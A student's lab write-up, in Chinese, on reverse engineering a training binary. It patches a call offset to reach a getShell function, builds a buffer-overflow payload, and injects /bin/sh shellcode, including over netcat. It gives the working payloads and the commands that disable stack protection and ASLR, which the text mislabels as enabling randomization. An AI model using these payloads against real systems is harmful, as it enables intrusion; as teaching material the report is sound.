NF_Exp1_20164306

PC平台逆向破解

1 关键内容

NOP, JNE, JE, JMP, CMP汇编指令的机器码

反汇编与十六进制编程器

正确修改机器指令改变程序执行流程

正确构造payload进行bof攻击

2 直接修改程序机器指令,改变程序执行流程

对/Desktop/20164306目录中的pwn1进行反汇编

  objdump -d Desktop/20164306/pwn1

main 函数在 80484b5 处调用 8048491 的 foo 函数

对应机器指令为 e8d7ffffff ,其中 e8 为跳转,d7ffffff为补码,0xd7 → 1101 0111 → 0010 1001 → 0x29

0xb5 + 0x05 = 0xba

0xba - 0x29 = 0x91

getShell 函数位于 804847d

0x7d - 0xba = -0x3d 转换成补码为 0xc3

解锁、安装并运行十六进制编辑器

  sudo rm /var/lib/dpkg/lock-frontend
  sudo apt-get install wxhexeditor
  wxHexEditor

 将对应位置的 d7 修改为 c3 ,再次反汇编确认结果

3 通过构造输入参数,造成BOF攻击,改变程序执行流

 使用先前备份的pwn2进行实验

  cd Desktop/20164306/
  cp
pwn1 pwn2

 main 函数调用 foo 函数,foo 函数中存在 Buffer overflow 漏洞

读入字符串时,系统仅预留了 0x1c 即 28 个字节的缓冲区

能够通过覆盖返回地址 80484ba 实现攻击

尝试输入字符串并判断具体是哪些字符会覆盖到返回地址

以八位为一组构造字符串进行调试

  chmod 777 pwn2
  gdb pwn2
  r
  1111111122222222333333334444444455555555
  info r

发生了段错误,且根据 eip 数值,发现从数字 5(ASCII 码值 53 = 0x35)开始溢出,所以第 33 至第 40 个字符中的某些字符将覆盖返回地址 

再次构造字符串

  1111111122222222333333334444444412345678

根据 eip 数值,确定 1234 将会覆盖返回地址

为使返回地址指向 0804847d 处的 getShell 函数,需要构造以下字符串

  11111111222222223333333344444444\x7d\x84\x04\x08

使用 perl 输出上述字符串,以转换其中的 16 进制数,输出重定向至文件 4306 中

  perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 4306

查看输出

确认无误后,查看文件并通过管道将查看结果送入 pwn2 中运行

  (cat 4306; cat) | ./pwn2

输入回车,完成字符串输入,而后输入 ls 命令,能够获取当前文件目录,攻击成功

4 注入Shellcode并执行

以下 shellcode 将被用于攻击

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

实验前需要设置堆栈可执行并开启地址随机化

    execstack -s pwn2
    echo "0" > /proc/sys/kernel/randomize_va_space

连接对应进程,分析并寻找 shellcode 首地址所在区间

构造并注入 payload ,其中返回地址为 0xfff841e1 ← 落在 nop 区间内的一个地址

(perl -e 'print "A" x 32;print "\xe1\x41\xf8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./pwn2

 验证攻击结果

 

如果不关闭地址随机化,每次运行 pwn2 产生新的进程会分配新的缓冲区地址,除非 nop 够大否则不可能成功

5 我打我自己(nc)

查看主机ip

  ifconfig

模拟一个有漏洞的网络服务

  nc -l 192.168.176.130 -p 4306 -e ./pwn2

打开新的终端,连接主机并发起攻击

  (cat 4306; cat) | nc 192.168.176.130 4306

验证攻击结果

靶机终端提示“段错误”,攻击者完成入侵

6 总结与感悟

通过实验学习了机器指令运行的基本流程,了解了 Bof 攻击的基本原理

通过模拟三种不同情境下的攻击方式,全面认识到 Bof 攻击的危害,同时也思考了针对该类攻击的防御办法

(一)在编写程序时重视边界控制,设计针对非法输入的处理流程

(二)部分 CPU 运行时数据段和代码段的线性地址重叠,能够提供硬件级别的保护

(三)关闭堆栈可执行,开启内存随机化,修复系统漏洞,预防恶意程序入侵

但安全与方便总是相对立而存在的,繁琐的安全策略必然会降低系统的运行效率

因此我们在预防攻击的同时需要注意上述二者之间的平衡,通过实验不断学习,不断探索更高效的预防策略

posted @ 2019-03-14 11:08  尽白  阅读(185)  评论(0编辑  收藏  举报